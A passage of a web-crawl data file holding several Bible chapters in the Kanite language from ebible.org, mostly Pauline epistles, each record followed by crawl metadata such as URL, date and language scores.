kwéumasinkaimba íma sínkamisata kwévuwune.\n10 sáwíva-tantaako kentáásirumba umbaí kwétamasinkainta kentáásirumba kawe'á úmae kwéiyiye. kesáá óísamba íma makáundayawaiya éta Áánútun-aai sáwívarawaiya kwésimatimunasaya kawe'á umái kwémaewe. óísaniyaaiwai éta Áánútun-aai tátokaundayaveta kawe'á umáíya máyaumne.\n11 Kórínti-naopaken-kwaasi ísáaro. kentí imáyáa éta kentáásirumpinken-aimba avora'á simátímakaundaya\n12 keinárawataveta íma kayoráúna'a kentááyávé'a kayó'mái máyáawe.\n13 kesí iyámpóímo simátimundantenkaamba simátimumpo kentí imáyáamo úndantemba kentáásí imáyáa é'a kentirumpinkén-áímbá simásíméro.\nÁánútuna naankaantáán-úne siráin-kwasai.\n14 oó'á tombá moórá anóm-purumakankwara moórá sáwíyam-purumakankwara'a íma kwétagarotamai kwisóvo awaira-púrúmákánkáí tinumarampimbá kwímakaawasarai oó'á kwétoye. mirámó ontembá keinárawa'a Áánútun-aaiyave'a áraire sewáíyé ímo áraire sewáíyé íma tágárotamai mé'a mayáí máyáaro. arupí umái máyáawaise Áánútun-aai arááíraawaise íma kanaán-umai tágárotamai mésa mayáí kwémaraawe. ságayankwara tunígwara'a íma moórávimba kwáyáiye.\n15 Ísu Káráísitiye Sáátáánigowe íma mimbórá-ímáyáá óyasa Áánútun-aaiyavesa áraire sewáíyé ímo áraire sewáíyé íma mimbórá-ímáyáá kwéowe.\n16 Áánútuna naaúmpa'a kwesé kwaántá-kwaasi mimbórávímbá íma ménaaowe. Áánútu asirayánkwáráwáí kentáásirumpimba máyáísata kwená naankaantáán-úne. mináíntávéna naaóvá'á Áánútun-aai aúváívimba agaimaréna séna Áánútu séna\nkesí kwaásiye mé'a miwívímbá kwénaae'a\nmiwítí Ísóigo onasá kesí kwaási-i'a ónááowe\nÁánútu siráiye.\n17 mindáyavena Ísóigo séna\núwoi-kwaasivinkemba tiyuwé'a moórá-ayampa'a\nmé'a sáwí-mayaigomba tínaaemba umátimiya'a\ntiré'a\n18 kentivoí'a ona'á kesáánimbaa'a\nkesiyáámúmbaari'a ónááowe.\nÍsóigo amápar-asirayamba tokáiwai siráiye agaimaréna siráiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/C26.html","date":"2023-09-25T00:08:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506669.96\/warc\/CC-MAIN-20230924223409-20230925013409-00414.warc.gz","language":"kze","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000087022781372}","num_words":400,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.193,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\n1 imáyáa é'a sé'a ókwara'a kentópa'a kwé'a sáwí'o kwéontave'a asiramái simátíménana tirunkó umbaí taivó sé'a ívé'a íma kónaumne siráumne.\n2 kentirumbó umbaimó tamátínkáanasamo ésa kesirumbó kawe'ó umásinkanaaowai íma ménaaowe.\n3 kentópa'a íma kuráundara'a sé'a aúváívimba awáné'a sáwí'o kwéomba kawe'á umátinkaigwae sé'a kentópa'o kondá íma sirunkó umbaí táníye sé'a mináúváí agaimái timé'a kawe'ó umáímo máyáantavena kesirunkó kawe'á íníwai mináúváí agaimái tímakaumne. kesirunkómó kawe'ó ínanamo éna kentirunkógwárá'á kawe'ó ínímba mindá árair-aimban-iye.\n4 mináúváí agaitimúnda sirunkó umbaí tówa'a keinárawatave'a anón-imayaa é'a ávááraumai ivi'á tamátinke'a tirunkó umbaí taínoyave'a íma mináúváí agaimái tímakaumpo Póro kwenarumbá ávááraumai símakaiye sénááontave'a mináúváí agaimái tímakaumne.\nsáwí'o uráin-kwaasiyavai enáái ánásaiye seró siráin-kwasai.\n5 keinárawapinkemba moórá-kwaasigo sáwí'a uráintavena íma kempíné su'mainivo keinárawapinkemba évakarawaivimba umbai-yántáá'á kwáyáiye. amáparawaivimba umbai-yántáá'á kwáyáiye-aimba mirán-ánón-áímpá'á íma sénáe sé'a évakarawaivimba umbai-yántáá'á kwáyáiye-aimba kwésune.\n6 tímakaunda-auvai awáné'a simái moórá-ainka'a maré'a asirayán-áímbá minkwáásígómbá simánke'a kwená egwaa'á íma mé'a sáwí'o uráintave'a mimbéyámbá amé'a íma ó'om-beyamba áméro.\n7 ívé'a kwentávé'a sé'a enáái ánásaiye sé'a íma ókwara'a imáyáa úmae iyé'a aráváyáaro. kemá ámé-sawi-meyamba kwaíkwai'a ínana séna íma kanaán-umai kawer-ámpá'á kónaumne séna ivátúwáívainivo\n8 kwentávé'a sé'a embá siruntá kwéamumpo kawe'á umái maiyó seró-áímbá asiramái kwésune.\n9 ááéma keinárawatave'a sé'a simátimunda-aimba isánááo. íya isánááoo sé'a kentópa'a íma kwé'a mináúváívímbá agaimái tímake'a timu'maré'a méraumne.\n10 sáwí'o uráin-kwaasigontave'a sé'a kwenáái ánásaiye sé'a ímo ókwara'o imáyáamo kwéontemba kegwárá'á mirá kwéune. sáwí'o uráintave'a sé'a kwenáái ánásaiye sé'a íma ókwara'a imáyáa kwée'a Ísu Káráísiti aúranka'a keinárawatave'a imáyáa é'a mirá kwéune.\n11 Sáátáánigona sáwí-mayaigona ááimba awánéta kentáá usáyaaitaivo séta sáwí'o uráintaveta ókwara'a íma imáyáa úmae iyéta séta kwenáái ánásaiye kwésune.\nTáróasiva'a ména Póro anón-imayaa uráin-kwasai.\n12 Ísu Káráísitin-aai áséi-kwasai kosimátimenae sé'a Táróasi-naopa'a komáyaawanda mináímbá isánááontavena Ísóigomo to'mayaa úmba awáné'a áséi-kwasai simátíménae sé'a ówánda\n13 kesí kwaásigo áwí'a Táítási kentí naaópakemba Táróasi-naopa'a íma téna kentáái tasimásímíntave'a avakáá uwááe'a íma awáné'a anón-imayaa é'a sé'a tiyuwé'a kónaumne sé'a Másétóniyaa-marava'a tiráumne.\nÍsuna asirayándéí siyáántán-tamai ávónta kwéuvunda-kwasai.\n14 maarán-áíntávéta Áánútumpa'a súwiya kwésune. Ísu Káráísiti usáyaaitaraintavena Áánútu kwentéya tarúsinkenaya anónka'a sisatá siyáántán-tamai ávónta kwéuvune. Áánútu si'marówata Káráísitin-aai amápa'-marava'a kosimátimunasaya kwéisaawana kwenááigo áséi-kwiyunkaamba úmaena amápa'-marava'a kóyáwé kwéiye.\n15 Áánútu séna Ísu Káráísiti kentávéna imáyáa éna kesí mayáí kwémayaimba áséi-kwiyun-kanamo kwéagayaanteni'a kwéiye kwésimba mirámó intembá Ísu Káráísitin-aai simátimunanaya Áánútu kentááyávéna séna Ísu Káráísitimo intembá áséi-kwiyun-kanamo kwéagayaanteni'a kwéowe kwésiye. Áánútun-aráái kwáráawai minkwíyúmbá ísááwasa Sáátáánigon-aráái kwáráawai minkwíyúmbá ísááwasa kwéowe.\n16 Sáátáánigon-aráái kwáráawai puwésa Áánútuna némpa'a maí'mai'a ónááowai Ísu Káráísitin-aai simátimunda-aintavesa ánkúkaamba kwéiye kwésewasa Áánútun-aráái kwáráawai mináíntávésa sésa áséi-kwiyunkaamba kwéiye kwésesa maí'mai'a ónááowe. Áánútun-aai simátímén-aimba anóm-bayaiman-ivo kwaásiye su'mai íma kanaán-umai kwémayaawe.\n17 Áánútu si'marówata Káráísitina mayáí-kwáásí méta kwenaúranka'a Áánútun-aai árair-aimba simátimeta íma árúvare-kwaasiraani'a umái máyaunasaya meéyámbáréwa'a anón-ontamba mayánáe sésamo ontembá évakarawai Áánútun-aai simátíménasaya meéyámbá simígwáe sésamo ontembá kesáá íma mirá kwéeta Káráísitina mayáí-kwáásí méta Áánútun-aai árair-aimba kwésimatimune.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/C22.html","date":"2023-09-27T22:29:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510326.82\/warc\/CC-MAIN-20230927203115-20230927233115-00710.warc.gz","language":"kze","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000089406967163}","num_words":418,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.203,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\naarakwátí kwaasái.\n1-2 aaraiyónó maarán-oro. kentuwai'máá táái ísáaro. kentuwai'máápinkemba évakarawai Áánútun-aaiyavesa íma áraire kwésesa máyáawai kembá tuwánésa Áánútumpa'a ténááontave'a kawe'á umái méwasa tuwánésa Áánútun-aaiyavesa áraire sénááowe. íma ayáátáár-aimba sé'a Áánútuntave'a imáyáa é'a kawe'á umái méwasa tuwánésa Áánútun-aaiyavesa áraire sénááowe.\n3 kwaási aráá'a súrampimba sivúwóvo sé'a íma konaarirí é'a kawer-únánkwátói konaariríyávé'a íma anón-imayaa é'a\n4 paru umái kentirunkó kawe'ó ínímba íma ááéma ánásainana mindá Áánútu aúranka'a kawe'án-iye.\n5 naaóvá'á aaraí Áánútuntavesa imáyáa ésa kwemó to'mayaa umátínkaron-tantaa'a amu'marésa máyón-inimba miwí tuwai'máá táái isésa kawe'á umái maémáembaniye.\n6 minínímpínkémbá moórá-ininko áwí'a Séraa awaikó áwí'a Ááváramu úwana kwenáái iséna kesí anóndakoma óne siráiye. kawe'ó é'o ímo amápa-tantaatave'o táátave'o é'o é'a kwenayáámúmbaari'a ónááowe.\n7 miráumai kwaaimó é'a maarán-oro. kentuwainímbáá'a kawe'á umátinke'a miwí túma íma asiramái kwáyáintave'a imáyáa é'a túwa'naa oro. keináraware kentuwainímbááre aúnái'a umái ménaaontavena Áánútu kawe'á kwéumatinkaivo mindáyave'a kawe'á umátínkáaro. mirámó íyanamo éna moórá-umbai-yantaako kentí námúnaa-ampimba íma itáníye.\nmimbórá-ímáyáán-oro-kwasai.\n8 moórá-aimba ísáaro. kentúma íma maimaé iyé'a mimbórá-ímáyáá é'a keáváráwáínóndaamo imáyáamo ontembá moórá-morawai mirán-imayaa é'a túwa'naa oro.\n9 sáwí'o umátinkaiya'o é'a anondá íma sáwí'a umátínkáaro. sáwí-aimbo simátinkaiya'o é'a anondá íma sáwí-aimba simátínkáaro. sáwí'o íyawai anondá kawe'á umátínkáaro. Áánútu tááyonka'a kawe'á umátinkaumne siráimba pó'a kawe'á umátínkáaro.\n10 mindáyavena Áánútun-aai aúváívimba agaimaréna séna\névakarawai ayáátááka'a sirunkó kawe'á ína'a ménae sésamo ésa kampar-áíné sáwí-aine\n11 sáwí'o kwéon-tantaare tínaaemba umámesa kawe'á ésa paru umái ménaaontavesa tiyáántán-kwimai máéro.\n12 Ísóigo arupí umáímo máyáawaira'a kwégarakwiyena miwítí námúnaa kwéisena túwa'naa ena sáwí'o kwéowai ánaaemba kwéumatimiye\nagaimaréna siráiye.\n13 kemá tiyáántán-kwimai kawe'á kwéomba pósa íma sáwí'a umátinkanaaombanivo\n14 arupí umái máyáambo umbai-yántáá'ó timíyanamo éna Áánútu kawe'á umátinkanivo minúmbáí-yántáátávé'a íma anón-imayaa é'a minúmbáí-yántáá'ó timínín-kwaasiyave'a íma táátave'a é'a\n15 Ísu Káráísitintave'a kawer-ímáyáá kwée'a kwentávé'a sé'a kweyáá Ísóigoman-iye síyasa tísaa esamo sésamo Áánútuntave'o imáyáamo ombá nóra simáíya kwéoo síya'o é'a kawer-áímbá simátimenaaontave'a to'mayaa umái mé'a\n16 kawe'á umái kwempakémbá simátíméro. kentirunkó íma kae'náé'a éna arupí umái kwaína'a Ísu Káráísitimpa'a aráápamai arupí umáí máyaiyasa évakarawaimo simáímo sáwí'o umátinkaiyambo ésa miwí tááigo tosé'mái tigaemá íníye. mirá ónááontave'a kárákwiyoro.\n17 kawe'ó kwéombo Áánútumo ímo ítátinkainasamo ésa umbai-yántáá'ó timénááomba mindá Áánútundein-iye. ánivo sáwí'o kwéombo umbai-yántáá'ó timénááomba mindá kentí ááinkoman-iye.\n18 miráumai ímo arupí umáímo máyáawai Áánútunopa'a kónááontavena Ísu Káráísiti arupí umái máyáiwai mimbórá-táwai puwéna mimbáyáímá ánásaraiye. kwenáúgo pukówana amankó ména\n19 évakarawai timankó ándáraambo kwímai máyómpimba kwenáái kosimátímakaiye.\n20 naaóvá'á moóráwai áwí'a Nówaa ména non-avóvomayaapa'o kwínín-damba úmakonka'a Áánútu kesáái ísáaro séna timu'marówasa kwenáái arááísúntavesa pukówana naaémba Ísumo puwú-tawai miwí timankómbá kwenáái kosimátímakaiye. avakaumboé-kwaasi non-avóvomayaapa'o kwínín-daumpa'a umáyówana miwí nonkó íma nawíkowasa íma puwésa kawe'á umái maémáembaniye.\n21 mindónkómó uráinten-umasitai'a mono'-nómbá kwévetinkaawana Áánútu tí'mai kawepá'á mégwétinkaiye. nombó kwévetinkaamba paáká-kúrákémbá íma kwésese ovo Áánútumba áísaa owaná tirumpimbá íma aaí kwaíndayavena sáwí-imayaa maitiyuwáníye. Ísu Káráísiti pukáimpinkemba usásinkaintavena sáwí'o umáímo máyáampinkemba tí'mai kawepá'á mégwétinkaiye.\n22 Ísu Káráísiti pukáimpinkemba usásinena Áánútu ayáánúrapa'a asirayán-áyámpá'á uména kwíyómpaken-kwayo'naraware anóndaraware asirayándáraware miráumainarawaka'a kwégarakwiyiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/P13.html","date":"2023-09-27T19:09:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510319.87\/warc\/CC-MAIN-20230927171156-20230927201156-00355.warc.gz","language":"kze","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000050067901611}","num_words":432,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.241,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\naúná-aimba simái tarúmakain-kwasai.\n1 mináímbá kwésimatimundayaveta kentáá súwí'a íma maé kwéiyundayaawe. évakarawai aúvái agaimái tímúwasa maimaésa mátímúwa'a awáné'a kawe'án-owe siráavo kesáá íma mirá éta kentáásí mayáírár-áúváí agaimaéta mátíménata awáné'a aamoí umásinkaigwae-ita íma kweéta íma kentáásí mayáírár-áúváí agáyáaro kwésumpo Áánútu si'marówata kwená mayáíyá kwémayaumne.\n2-3 évakarawaimo ó'owiti mayáígóná aúváímo awánésamo aamoimó umátínkáantemba évaka-kwaasi keinárawa'a tuwánésa sésa árai'a Ísu Káráísiti Póroe mayáí kwémayaan-kwaasiye kwenté ti'marówasa kwenáái tasimátímúwasa isésa áraire suwaná Káráísiti kwená kwaási-i'a umátinkowana Áánútu asirayánkwáráwáín-amanko miwítirumpimba máyáísasa máyáawe kwésewe. mindáyave'a keinárawa'a Káráísiti agairáin-auvairaamba umái máyáawe. Ísu Káráísitina mayáígóná aúvái óntanka'o agairáin-auvairaamba ímanivo kempá'á kwáyáim-bayaima tuwánaantaveta aamoiyá kwéumatinkaundayaawe.\n4 Ísu Káráísiti kentáá asirayámbá kwésimisata Áánútu aúranka'a asiramái méta mináíntá kwésune.\n5 kentáávímbá kesí asirayámbá íma kwáyáísata mimbáyáíyá kwémayaumpo Áánútuna asirayándéíyá mimbáyáíyá kwémayaumne.\n6 Áánútu aúná-aimba simái tarúmakain-aimba kosimátimewananaya kwenaúranka'a arupí umátinkainasa ménaaontavena asirayántá símakaiye. mináúná-áímbá simái tarúmakain-aimba Áánútu Mósesimba simámakain-amaamba ímanivo Áánútun-amanko kentáásirumpimba máyáísata kwemó siráintenta kwéunda-aimban-iye. Áánútu Mósesimbo simámakain-amaamba íma kanaán-umai kwáráantavesa Áánútu aúranka'a íma arupí umái mésa puwí-ámpá'á kwégovo Áánútun-amanko imáyáaya símísata Káráísitin-aaiyaveta áraire séta aúnái'a umáíya maí'maita kwéune.\n7 naaóvá'á Áánútu Mósesimba óntan-kwandaaira'a siyáánkai-amaamba agaimái ámakaimba minámáámbá kwaránáe sésa umbá íma kanaán-umai kwarésa arááísu'mae kwéiyesa mindáyavesa puwí-ámpá'á kwégowe. Áánútu Mósesimbo ámáámbo simámakonka'a Áánútumpakemba ságayamba paáréna Mósesi óika'a ságayamba paárúwana óntan-kwandaaira'o siyáánkai-amaambo agaimarómba maimaéna Ísareri-kwaasitopa'a kumúwasa Mósesi óika'a ságayamba kwéna póna túgáyáagaya úwasa íma kanaán-umai awánowana kwéna naaémba uwákuraiye.\n8 naaóvá'á Áánútu Mósesimba siyáánkai-amaamba simámakonka'a Áánútuna ságayamba paárúmbanivo ívé'a Áánútu kwenamankómbá ai'máráísana kwená kwaási tirumpimbá máyáiye-aimba kwévaarimba póna Áánútuna ságayamba anómban-iye.\n9 Áánútu Mósesimba siyáánkai-amaamba simámakomba pósa íma kanaán-umai kwáráantavesa puwí-ámpá'á kwégowe. Áánútu minámáán-áímbá paárúnka'a kwená ságayamba kwáyowana ívé'a Áánútu kwenamankó kwenaúranka'o arupí umátínkáin-aimba kwévaarisana póna kwená ságayankona asirayámbá anómba kwáyáiye.\n10 ívé'a aúná-aimba simái tarúmakain-aimba kwáyáísana usáyaaitarai-sagayankona asirayámbá kwáyáimba póta séta Áánútumo Mósesimbo siyáánkai-amaambo simámakai-sagayankona asirayámbá úwoisamba iyéyá kwésune.\n11 Áánútu Mósesimbo simámakain-aimba kwááyu-aimban-ivo aúná-aimba simái tarúmakain-aimba kwaíkwai'a ínín-aimba anón-aimban-iye. kwááyu-aimba simámakonka'a ságayankona asirayámbá kwáyombanivo ívé'a kwaíkwai'a ínín-aimba paárisana póna anó-sagayamba asirayámbá kwáyáiye.\n12 mináímbá asirayán-áímbá kwaíkwai'a ínín-aimba ísaraunda póta íma sáá'a kwégaisata asiramái mináímbá kwésimatimundayaawe.\n13 Mósesimo uráintemba íma miráyá kwéune. Mósesi Ísareri-kwaasiyavena séna kesóika'o kwáyái-sagayamba uwákwimba awánaavo séna ampaantanéí óika'a káátaraiye.\n14 Ísareri-kwaasi táá'nei isésa tirunté marésa maémáenkakemba pósa ívé'a agáyáan-kwaasi Áánútumo simáímo tarúmakon-aimba aúváívinkemba awánamai isésa mináínkóná ááimba íma kawe'á umái kwéisaawe. Mósesimo óika'o ampaantanéí káátamakowasamo ságayambo ímo awánaraantemba ívé'a Áánútun-aai aúváívimba awánaamba miwítí imáyáago ítáguraisana kumayu'á isasá pósa mináúváígóná ááimba íma awánamai kawe'á kwéowe. Ísu Káráísitiye tarúmai máyáawaima Áánútun-aai aúváíma awánésa mináínkóná ááimba kawe'á umái kwéisaawe.\n15 ívé'o máyáan-Isareri-kwaasigwara'a Áánútun-aai Mósesimo agaimakón-aimba awánaamba miwítí imáyáago ítáguraisana kumayu'á isasá pósa mináínkóná ááimba íma ísaraavo\n16 Ísóigo Ísu Káráísitinopa'o tembá minkúmáyú-tántáá'á ánásainkakemba mináínkóná ááimba kawe'á umái kwéisaawe.\n17 Ísóigo Ísu Káráísitiyemo súnda kwenamankóntávé'a kwésune. Ísóigon-amankomo tirumpimbó máyáiwai sáwí-imayaagomo tátokaimpinkemba kwéiyatinkaisasa kawe'á umái kwémaewe.\n18 Ísareri-kwaasiti imáyáagomo ímo kawe'ó umáímo ísaraantemba kentáásí imáyáago íma mirá isanayá Ísóigona ságayanko kentáá sáma kwégamasinkaintaawe. Ísóigo Ísu Káráísitin-amanko kentáásirumpimba ména kwenkáání'a umásinkenaya kwená ságayamba kwésimenaya mirá úmae kwéiyiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/C23.html","date":"2023-10-02T14:41:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511000.99\/warc\/CC-MAIN-20231002132844-20231002162844-00861.warc.gz","language":"kze","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000089406967163}","num_words":459,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.17,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10\nPóro kwená mayáíyáváí simátímakain-kwasai.\n1 keinárawapinkemba évakarawai kentávésa sésa Póro keséya taména paru umái aaí siráivo némpa'o máínka'a asirayán-áíntá kwésimasimintaawe kwésewe. Ísu Káráísiti marapá'ó máyonka'a paru umái ména íma aaisambá siráintave'a imáyáa é'a asiramái simátimune.\n2 kentópa'o kondá íma asiramái sénáe súndanivo imáyáa é'a keinárawapinkemba évakarawai kentááyávésa kampa'á sésa marará-kwáásíti ááimba kwégwaraawemo kwésentave'a asiramái simátimenaumpo kárákwiyoro.\n3 marapá'ó máyaundaya namuro-kwáásí usáyaaitanae sésamo áái'o tíyáantemba íma mirá éta marapá-sáwí-yántáá'á usáyaaitanae séta Áánútuna mayáí kwémayaumne.\n4 taáné iwevóíyé úmakesamo áái'o tiyamáímo usáyaaitanaesamo ontembá íma mirá éta Áánútu asirayámbá símakaisata ó'on-o'o-sawi-asirayamba kwéusayaaitaundayaawe.\n5 kentáá sááiyavesa kampar-áínéímó kwésewai tááigomba kesááigoya kwéusayaaitaiye. évakarawai miwí túwí'a mósá marésa Áánútun-aai ísáavo sésa simái aambá áúmbaraawata aambó áúmbaraan-aimba usáyaaiteta kentáásí imáyáago Ísu Káráísitin-aai isáínkwáe símae kwéiyundayaawe.\n6 kentáá sááiya isáígwáe séta timu'maréta máyauna'a mirá íyata tuwánéta kentáá sáái íma kwéisaawai sáwí-meyamba timénaumne.\n7 keinárawa'o máyáawaina ááimba imáyáa oró. keinárawapinkemba évakarawai sésa árai'a Ísu Káráísitina kwaásiya úne sentembá kesáágwárá'á Ísu Káráísitina kwaásiya úmpo mindáyave'a imáyáa oró.\n8 Ísóigo asirayámbá siménaya keinárawa'a íma sáwí'a umátinkanaumpo kentí imáyáa asiramátinkanaundayavenaya minásíráyámbá símakaiye. minásíráyámbó símakaimbo simátíma'mae iyúnda-aimba mindá árair-aimba isatá póta minásíráyámbó símakaimbo simátíma'mae iyúndaya mindáyaveta íma sigaeyávéta kwéune.\n9 aúvái agaimáímo timúnda íma maarán-ímáyáá é'a inkáíséro sénaya maanáúváí agaimái kwésimiye sevó-ímáyáá kwée'a kwéagayaumne.\n10 évakarawai kentávésa sésa aúváímba asirayán-áímbá simásimenaya ááéma keséya taména aamoisayán-kwáásí ména úwoi-aimba simásímakaiye kwésewai\n11 miwí maarán-áímbá imáyáa oró. kentí némpa'a máyaunda póta aúváívimbo simátimunda-ainta kentópa'o kwéta mimbórá-áímbá póta kosimátimenaundayaaniye.\n12 kentávésa mirán-áímbó kwésewai miwí túwí'a mósá marésa anón-kwaasiya úne sewatá íma mimbórá-kwáásíráántá umái méta miwímó máyáawaina ááimba awánéta kesáá máyaundawaina ááinta íma taainéta séta kawe'á umáíya máyaumne. sáwí'a umáíya máyaumne séta íya taainánaumne. miwí moórá-morawaimo máyáawaina ááimba tuwánésa miwítí imáyáavinkemba sésa máyaundawaina ááinta kawe'án-iye kwésewe. mirámó kwéomba sáwí-imayaavinkemba kwéowe.\n13 keinárawapimba Áánútumo símakainda-mayai-aimba sénaumpo ímo símakainda-aimba íma sénaumne.\n14 keinárawa'o máyáapa'a Áánútu íma aambá aunéna úwoi kesáái kosimátíméro simásímakaisata úwoiya Ísu Káráísitina áséi-kwasai kosimátímakaumne. mirámó uráunda Áánútu íma aambá áúnkaisata úwoiya kosimátímakaumne.\n15 Áánútumo aambó áúsinkaraim-bayaiyaveta ó'on-kwaasimo mairáam-bayaiyaveta kesáá mairáumne íma séta kentáá súya maé kwéiyune. Ísu Káráísitin-aaiyave'a áraire sé'a asiramái imáyáa úmae iyónááomba timu'maréta máyaunda pó'a mirámó íyata ávááraumai túwa'naa ónaundayaawe.\n16 mirámó íyata kanaám-póta tiyuwéta ó'on-o'om-barava'a Ísu Káráísitin-aai simátíma'maeta naaónaumne. ó'owimo Ísu Káráísitin-aaimo simátímaken-ayampa'a íma kométa kampa'á séta kesáá simátímakaumne séta kentáá súya maé iyónaumne.\n17 naaóvá'á Áánútun-aai aúváívimba agaimaréna séna\nmiwí kesáváí mayáíyávésa íma túwí'a mósá marésa Ísóigona mayáíyávésa kwenáwí'a mósá máráaro\nagaimaréna siráiye.\n18 kwaási kesáváí kawe-kwáásímá úne kwésemba ímanivo Ísóigo kawe-kwáásímán-owe kwésiwai mindá Áánútu aúranka'a kawe-kwáásímán-owe.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/C210.html","date":"2023-09-24T23:47:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506669.96\/warc\/CC-MAIN-20230924223409-20230925013409-00587.warc.gz","language":"kze","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000033378601074}","num_words":386,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.161,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9\nÍsóigona kwaási túwa'naa ónáemo siráan-kwasai.\n1 évaka-tantaa'o torupamáímo Yútiyaa-marava'a Ísóigona kwaásimo timénááon-aimba á'a ísaraantave'a maanáúváívímbá íma ayáátááka'a simátimenaumne.\n2 túwa'naa ónáemo siráan-aimba ísaraumne. Másétóniyaa-maravaken-kwaasi kentáái simátimewanda kentúma maé iyé'a keinárawatave'a sé'a Ákáyaa-maravaken-kwaasi mimbáyáí kwéto'mayaa-esa moórá-ima maisukáawe séwánasa isésa sésa kesáágwárá'á túwa'naa ónáe sésa évaka-tantaa'a torupámakaawe.\n3 kentúma maé iyéta séta mimbáyáí to'mayaa úmakaaweya súnda-aimba úwoi-aimban-iye sevó séta kaumbonárau ti'máráanasa kentópa'a kónááowe. kemó siráundantemba to'mayaa úmaranaaontaveta minkáúmbónárau ti'máráanasaya kotúwa'naa ónááowe.\n4 naaémba kentópa'a konasá Másétóniyaa-maravakembo évakarawaimo kesémo kwésamo ésa ímo to'mayaa úmakemba kotuwánaiyamba tigaeyávé'a íya'a to'mayaa úmakaawemo siráunda-aintave'a sigaeyávé'a ónaumne.\n5 mindáyave'a imáyáa é'a mindárauyave'a asiramái simátime'a sé'a kemó ímo kuráandara'a miwítópa'a koméwasa simáímo asirámakaantemba évaka-tantaa'a torupámáráaro simátímakaumne. naaémba kentópa'a kona'á kentí imáyáavinkembo torupámárémba úwoi maisiménááovo íma tísaa ónaumne.\n6 maarán-áímbá imáyáa oró. kígaumo ombá moórá sáwíyan-kigau úmakesa sáwíyan-tomba áká'mai naawasá moórá anón-kigau úmakesa anón-tomba áká'mai kwénaawe. miráumaimo kwétimemba naaémba mirán-kánáí'a umái mayánááowe.\n7 miráumai moórá-morawai timíyan-tantaatave'a imáyáa uré'a miráumai tíméro. íma timénáe-imayaa kwée'a tímévainivo. kemó asirayán-áímbó siráundayavaiye sé'a tímévainivo. imáyáa umái kawe'á uré'a tíméro. timénááontavesamo aamoimó ónááowai miwí Áánútu aamoí kwéumatinkaimba pó'a timénááontave'a aamoí oró.\n8 Áánútu kanaán-umai ávááraumai kawe'á umátinkaimba amápa-tantaatave'a kawe'á umái mé'a ó'on-o'on-kawe'-mayai mayánááontavena Áánútu ávááraumai kawe'á kwéumatinkaimba pó'a mirán-káwé'-máyáí kanaán-umai mayánááowe.\n9 mindáyavena naaóvá'á Áánútun-aai aúváívimba agaimaréna séna\nímo makáawai túwa'naa esa tímatuwaawai\nmiwítí kawe'-máyáí kwaíkwai'a íníye\nagaimaréna siráiye.\n10 Áánútu amápar-anayumba tímísasa mairésa kwégigau-umandaawe. Áánútu minánáyúnkómbá anón-úmáráísasa áká'mai kwénaawe. miráumai Áánútu kawe'á umátinkaina'a túwa'naa íyana mimpínkémbá kawe'-máyáí anómba paáriniye.\n11 Áánútu kawe'á umátinkaina'a aasiyaasí kanaán-umai túwa'naa íyasa simíyataamo timénaunda-yantaatavesa Áánútumpa'a súwi sénááowe.\n12 miráumaimo túwa'naa ónááomba Ísóigona kwaási ímo makáawai túwa'naa íyana sáwívarawai tirunkó kawe'á ínasa Áánútumpa'a súwi símae iyónááowe.\n13 keinárawatavesa sésa Ísu Káráísitin-aaiyavesa áraire sésa asiramái imáyáa kwéesa pósa súwa'naa uráawe sésa Áánútu áwí'a mósá marésa miwíyé amáparawaiye úwoi timénááontavesa Áánútu áwí'a mósá marésa\n14 Áánútumo keinárawa'o anómbo kwétuwa'naa-intavesa keinárawatavesa imáyáa ésa túwa'naa umai Áánútumpa'a námúnaa sénááowe.\n15 Áánútu amáparawaiya ó'oran-kawe'a kwéumasinkaisata póta kwenáwí'a mósá 